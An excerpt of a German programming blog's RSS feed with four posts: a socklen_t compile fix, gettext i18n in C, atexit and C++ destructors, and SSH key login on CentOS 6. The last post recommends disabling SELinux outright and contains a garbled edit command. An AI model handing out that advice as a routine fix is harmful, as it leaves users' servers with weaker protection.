		<title>error: cannot convert ‘size_t*’ to ‘socklen_t*’ for argument ‘3’ to ‘int accept(int, sockaddr*, socklen_t*)’</title>
		<link>http://blog.laukien.com/programmierung/error-cannot-convert-%e2%80%98size_t%e2%80%99-to-%e2%80%98socklen_t%e2%80%99-for-argument-%e2%80%983%e2%80%99-to-%e2%80%98int-acceptint-sockaddr-socklen_t%e2%80%99.html</link>
		<comments>http://blog.laukien.com/programmierung/error-cannot-convert-%e2%80%98size_t%e2%80%99-to-%e2%80%98socklen_t%e2%80%99-for-argument-%e2%80%983%e2%80%99-to-%e2%80%98int-acceptint-sockaddr-socklen_t%e2%80%99.html#comments</comments>
		<pubDate>Tue, 24 Apr 2012 14:27:19 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Programmierung]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Fehler]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4237</guid>
		<description><![CDATA[Ein Fehler, der auftrat und nicht auftreten sollte&#8230; error: cannot convert ‘size_t*’ to ‘socklen_t*’ for argument ‘3’ to ‘int accept(int, sockaddr*, socklen_t*)’ &#8230;und dieses in der Zeile: ...socketfd = accept(listenfd, (struct sockaddr *)&#038;cli_addr, &#038;length)... Das Problem findet sich doch tatsächlich &#8230; <a href="http://blog.laukien.com/programmierung/error-cannot-convert-%e2%80%98size_t%e2%80%99-to-%e2%80%98socklen_t%e2%80%99-for-argument-%e2%80%983%e2%80%99-to-%e2%80%98int-acceptint-sockaddr-socklen_t%e2%80%99.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ein Fehler, der auftrat und nicht auftreten sollte&#8230;</p>
<pre>error: cannot convert ‘size_t*’ to ‘socklen_t*’ for argument ‘3’ to ‘int accept(int, sockaddr*, socklen_t*)’</pre>
<p>&#8230;und dieses in der Zeile:<br />
<code>...socketfd = accept(listenfd, (struct sockaddr *)&#038;cli_addr, &#038;length)...</code><br />
Das Problem findet sich doch tatsächlich darin, dass &#8220;length&#8221; von Type &#8220;size_t&#8221; ist. Ändert man diesen in &#8220;socklen_t&#8221; ist auch unter C++ alles super.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/programmierung/error-cannot-convert-%e2%80%98size_t%e2%80%99-to-%e2%80%98socklen_t%e2%80%99-for-argument-%e2%80%983%e2%80%99-to-%e2%80%98int-acceptint-sockaddr-socklen_t%e2%80%99.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mehrsprachige Anwendungen (i18n)</title>
		<link>http://blog.laukien.com/programmierung/mehrsprachige-anwendungen-i18n.html</link>
		<comments>http://blog.laukien.com/programmierung/mehrsprachige-anwendungen-i18n.html#comments</comments>
		<pubDate>Sun, 15 Apr 2012 13:49:35 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Programmierung]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Optimierung]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4230</guid>
		<description><![CDATA[Ein kleines Programm in C ist schnell getippelt. Heute, da die geistige Leistungsfähigkeit nicht gerade ihren höchsten Stand erreichen wollte, entschied ich mich mal ein bisschen zu forschen. Schnell war etwas Einfaches, was ich bis dato noch nicht beleuchtete gefunden. &#8230; <a href="http://blog.laukien.com/programmierung/mehrsprachige-anwendungen-i18n.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Ein kleines Programm in C ist schnell getippelt. Heute, da die geistige Leistungsfähigkeit nicht gerade ihren höchsten Stand erreichen wollte, entschied ich mich mal ein bisschen zu forschen. Schnell war etwas Einfaches, was ich bis dato noch nicht beleuchtete gefunden. &#8211; Multilinguale Applikationen alias i18n &#8211; Es geht dabei um Anwendungen, die ihre Ausgaben in mehreren Sprachen anzeigen können.<br />
Aus bereits erwähntem Grunde versuche ich mich heute einfach mal möglichst einfach zu fassen.<span id="more-4230"></span><br />
Hier ein einfachen &#8220;Hello world!&#8221; &#8211; Programm:</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

int main() {
        printf ( &quot;Hello world!\n&quot; );
        exit(0);
}
</pre>
<p>Nix &#8211; dickes!</p>
<p>Ich passe es mal eben an und erhalte&#8230;</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;libintl.h&gt;
#include &lt;locale.h&gt;
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#define _(STRING) gettext(STRING)
int main() {
        setlocale(LC_ALL, &quot;&quot;);
        bindtextdomain(&quot;loc&quot;, &quot;./i18n/&quot;);
        bind_textdomain_codeset(&quot;loc&quot;, &quot;UTF-8&quot;);
        textdomain(&quot;loc&quot;);
        printf ( _( &quot;Hello world!\n&quot;) );
        exit(0);
}
</pre>
<p>Kurzfassung:<br />
* Initiierung<br />
* Bindung an einen Bezeichner<br />
* Übersetzung und Ausgabe</p>
<p>Wirklich interessant ist eigentlich die Ausgabe mittels &#8220;printf&#8221;. Es wird aber nicht einfach ein String ausgegeben; zu sehen ist &#8220;_(&#8230;)&#8221;. Seht man in die obige Definition, so stellt man fest, dass &#8220;_&#8221; für &#8220;gettext&#8221; steht. &#8211; Es handelt sich also einfach um ein Funktionsaufruf.<br />
Damit &#8220;gettext&#8221; auch weiß, was wie zu übersetzen ist, bedarf es eben dieser Übersetzungsdateien.<br />
Ich mache es nun nicht unendlich spannend und zeige einfach eine gültige &#8220;Makefile&#8221;.</p>
<pre>
all:
        mkdir -p i18n/de_DE/LC_MESSAGES
        gcc -o loc loc.c
        xgettext --keyword=_ --language=C -d loc -s -o po/loc.pot loc.c
        msginit --locale=de --input=po/loc.pot -o po/de.po
        vi po/de.po
        msgfmt -c -v -o i18n/de_DE/LC_MESSAGES/loc.mo po/de.po

install:
        cp i18n/de_DE/LC_MESSAGES/loc.mo /usr/share/locale/de_DE/LC_MESSAGES/loc.mo

test:
        export LANG=de_DE; ./loc
</pre>
<p>Mit &#8220;xgettext&#8221; werden die zu übersetzenden Strings aus der C-Quelldatei extrahiert und als Template gespeichert. Dieses kann seinerseits als Quelle für die eigentlichen Übersetzungsdateien herhalten.<br />
Mit &#8220;msginit&#8221; wird eine Ebensolche erstellt werden. In dieser kann die Übersetzung vorgenommen werden.<br />
Damit haben wir das C-Programm, dessen Stringausgaben sinnvollerweise in einfachem englisch gehalten sind und der Übersetzungsdatei in &#8220;de_DE&#8221;.<br />
Bevor&#8217;s aber so richtig losgehen kann, muss die po-Datei in eine mo-Datei übersetzt werden.<br />
Mit &#8220;msgfmt&#8221; isr dies schnell erledigt. die mo-Datei sollte eigentlich unter &#8220;/usr/share/locale/de_DE/LC_MESSAGES&#8221; liegen; wir wollen unsere Übersetzungen aber mal exemplarisch lokal in unserem Projekt-Ordner halten (i18n). Die mo-Datei sollte dem festgelegten Namen &#8220;loc&#8221; entsprechen.</p>
<p>Wenn nun die Systemsprache der der Übersetzungsdatei entspricht, so zeigt sich statt &#8220;Hello world!&#8221; ein frisches &#8220;Hallo Welt!&#8221;.</p>
<p>So, und nun entspanne ich mich. Denn morgen geht die Arbeitswoche wieder los und da muss ich wieder Leistung bringen.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/programmierung/mehrsprachige-anwendungen-i18n.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>atexit und Destruktoren in C++</title>
		<link>http://blog.laukien.com/programmierung/atexit-und-destruktoren-in-c.html</link>
		<comments>http://blog.laukien.com/programmierung/atexit-und-destruktoren-in-c.html#comments</comments>
		<pubDate>Thu, 05 Apr 2012 11:26:04 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Programmierung]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Fehler]]></category>
		<category><![CDATA[Optimierung]]></category>
		<category><![CDATA[Sicherheit]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4227</guid>
		<description><![CDATA[Es heißt, ein Destructor würde ausgeführt, wenn ein Objekt &#8220;abgeräumt&#8221; wird. Dieses geschieht für gewöhnlich, wenn den Scope des Objekts verlässt, oder wenn es mittels &#8220;delete&#8221; von Hand aus dem Heap befördert wird. &#8211; Stimmt auch! Die Sache hat nur &#8230; <a href="http://blog.laukien.com/programmierung/atexit-und-destruktoren-in-c.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Es heißt, ein Destructor würde ausgeführt, wenn ein Objekt &#8220;abgeräumt&#8221; wird. Dieses geschieht für gewöhnlich, wenn den Scope des Objekts verlässt, oder wenn es mittels &#8220;delete&#8221; von Hand aus dem Heap befördert wird. &#8211; Stimmt auch!<br />
Die Sache hat nur einen Haken, der nicht so flockig ist. &#8211; Was geschieht, wenn das Programm vorzeitig beendet wird?<br />
<span id="more-4227"></span><br />
Wir reden hier nicht über einen &#8220;Absturz&#8221; ala &#8220;Segmetation fault&#8221; oder so. Ich meine ein gemeines &#8220;exit&#8221;, was gern&#8217; mal hergenommen wird, um &#8220;Fehlverhalten&#8221; durch einen Programmabbruch zu quittieren.<br />
In diesem Fall ist es nämlich leider so, dass der Constructor nicht aufgerufen wird.</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;iostream&gt;
#include &lt;cstdlib&gt;

using namespace std;

class Atexit {
        public:
                Atexit();
                ~Atexit();
};

Atexit::Atexit() {
        cout &lt;&lt; &quot;Constructor&quot; &lt;&lt; endl;
}

Atexit::~Atexit() {
        cout &lt;&lt; &quot;Destructor&quot; &lt;&lt; endl;
}

Atexit *ate;
int main() {
        ate = new Atexit();
        cout &lt;&lt; &quot;Main&quot; &lt;&lt; endl;
        exit(1);
        delete ate;
}
</pre>
<p><code>g++ -o atexit atexit.cc &#038;&#038; valgrind --leak-check=full atexit</code></p>
<pre>
==21170== Memcheck, a memory error detector
==21170== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==21170== Using Valgrind-3.6.0 and LibVEX; rerun with -h for copyright info
==21170== Command: atexit
==21170==
Constructor
Main
==21170==
==21170== HEAP SUMMARY:
==21170==     in use at exit: 1 bytes in 1 blocks
==21170==   total heap usage: 1 allocs, 0 frees, 1 bytes allocated
==21170==
==21170== LEAK SUMMARY:
==21170==    definitely lost: 0 bytes in 0 blocks
==21170==    indirectly lost: 0 bytes in 0 blocks
==21170==      possibly lost: 0 bytes in 0 blocks
==21170==    still reachable: 1 bytes in 1 blocks
==21170==         suppressed: 0 bytes in 0 blocks
==21170== Reachable blocks (those to which a pointer was found) are not shown.
==21170== To see them, rerun with: --leak-check=full --show-reachable=yes
==21170==
==21170== For counts of detected and suppressed errors, rerun with: -v
==21170== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 6 from 6)
</pre>
<p>Wie man sieht, werden der &#8220;Constructor&#8221; und &#8220;Main&#8221; aufgerufen. Nach dem &#8220;exit&#8221; passiert hier wirklich &#8220;nichts&#8221; mehr. Unser kleines Programm bricht ab und der &#8220;Destructor&#8221; bleibt völlig unberührt. Das kann unter Umständen problematisch sein. Exemplarisch sei hier die Reservierung von Heap-Speicher aufgeführt. Dieser wird zwar wieder freigegeben, sobald das Betriebssystem wieder die Kontrolle übernimmt. Doof ist es, wenn Datenbank, Netztwerkverbindungen oder gar Lock-Prozesse offen bleiben.<br />
Das Problem ist also, dass der Destructor nicht unbedingt ausgeführt wird.</p>
<p>Da es sich tatsächlich um ein echtes Problem handelt gibt es den Befehl &#8220;atexit&#8221;, der es erlaubt Funktionen auf einen Stack zu legen, die, der Reihe nach, abgearbeitet werden, bevor das Programm wirklich beendet wird.<br />
Um dem Problem Herr zu werden, könnte unser kleines Testprogramm wie folgt angepasst werden.</p>
<pre class="brush: cpp; title: ; notranslate">
#include &lt;iostream&gt;
#include &lt;cstdlib&gt;

using namespace std;

class Atexit {
        public:
                Atexit();
                ~Atexit();
};

Atexit::Atexit() {
        cout &lt;&lt; &quot;Constructor&quot; &lt;&lt; endl;
}

Atexit::~Atexit() {
        cout &lt;&lt; &quot;Destructor&quot; &lt;&lt; endl;
}

Atexit *ate;

void c() {
        ate = new Atexit();
}

void d() {
        if (ate == NULL) return;
        delete ate;
        ate = NULL;
}

int main() {
        c();
        cout &lt;&lt; &quot;Main&quot; &lt;&lt; endl;
        atexit(d);
        exit(1);
        d();
}
</pre>
<p><code>g++ -o atexit atexit.cc &#038;&#038; valgrind --leak-check=full atexit</code></p>
<pre>
==21123== Memcheck, a memory error detector
==21123== Copyright (C) 2002-2010, and GNU GPL'd, by Julian Seward et al.
==21123== Using Valgrind-3.6.0 and LibVEX; rerun with -h for copyright info
==21123== Command: atexit
==21123==
Constructor
Main
Destructor
==21123==
==21123== HEAP SUMMARY:
==21123==     in use at exit: 0 bytes in 0 blocks
==21123==   total heap usage: 1 allocs, 1 frees, 1 bytes allocated
==21123==
==21123== All heap blocks were freed -- no leaks are possible
==21123==
==21123== For counts of detected and suppressed errors, rerun with: -v
==21123== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 6 from 6)
</pre>
<p>Wie man unschwer erkennen kann, wird nun auch der Destructor aufgerufen. Damit wird nun auch der Heap-Speicher und somit unserer gebundenen Ressourcen, wieder freigegeben.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/programmierung/atexit-und-destruktoren-in-c.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SSH &#8211; Public Key Authentication bei Centos 6</title>
		<link>http://blog.laukien.com/software/server/ssh-public-key-authentication-bei-centos-6.html</link>
		<comments>http://blog.laukien.com/software/server/ssh-public-key-authentication-bei-centos-6.html#comments</comments>
		<pubDate>Thu, 05 Apr 2012 07:58:38 +0000</pubDate>
		<dc:creator>Stephan</dc:creator>
				<category><![CDATA[Server]]></category>
		<category><![CDATA[Optimierung]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://blog.laukien.com/?p=4224</guid>
		<description><![CDATA[Was bei CentOS 5 noch gut ging, geht bei CentOS 6 nicht zwingend auch gut. Dazu zählt leider auch die entspannte SSH-Anmeldung mittels &#8220;Public Key Authentication&#8221;. Obgleich augenscheinlich &#8220;alle&#8221; Rechte richtig gestzt wurden will es nicht klappen. Der Grund: &#8220;Known &#8230; <a href="http://blog.laukien.com/software/server/ssh-public-key-authentication-bei-centos-6.html">Weiterlesen <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Was bei CentOS 5 noch gut ging, geht bei CentOS 6 nicht zwingend auch gut. Dazu zählt leider auch die entspannte SSH-Anmeldung mittels &#8220;Public Key Authentication&#8221;. Obgleich augenscheinlich &#8220;alle&#8221; Rechte richtig gestzt wurden will es nicht klappen. Der Grund:<br />
<span id="more-4224"></span><br />
&#8220;Known Bug!&#8221; &#8211; Aaaaaaahhhh!!!<br />
Abhilfe schafft folgender Befehl:<br />
<code>restorecon -R -v /root/.ssh</code></p>
<pre>
restorecon reset /root/.ssh context unconfined_u:object_r:admin_home_t:s0->unconfined_u:object_r:ssh_home_t:s0
restorecon reset /root/.ssh/authorized_keys context unconfined_u:object_r:admin_home_t:s0->unconfined_u:object_r:ssh_home_t:s0
</pre>
<p>Das funktioniert nun erst mal für den Root-Nutzer.<br />
&#8230;für einen Nutzer, der vielleicht nicht gerade in seinem, vom System vordefinierten, Home liegt, klappt das aber nicht.<br />
Der Grund ist das &#8220;Stinke-SELinux&#8221;. Schaltet man den &#8220;Krampf&#8221; ab, so hat man wieder ein Linux, das auch das tut, was es tun soll.<br />
<code>vi SELINUX=disabled</code></p>
<pre>/etc/sysconfig/selinux</pre>
<p><code>reboot</code></p>
<p> &#8230;und ja, ich weiß:<br />
Funktionalität kostet Sicherheit!<br />
Das Maß an Sicherheit verschenke ich aber gern, da SELinux echter Crap ist. Es muss ja nicht per Maus auf einer quietsche-bunten Oberfläche administrierbar sein, aber ein bisschen weniger kryptische Konfigurationen würden vielleicht auch dafür sorgen, dass es weniger Fehlkonfigurationen gibt. &#8230;erst dann kann man wirklich von einem Gewinn an Sicherheit sprechen, oder!? <img src='http://blog.laukien.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.laukien.com/software/server/ssh-public-key-authentication-bei-centos-6.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

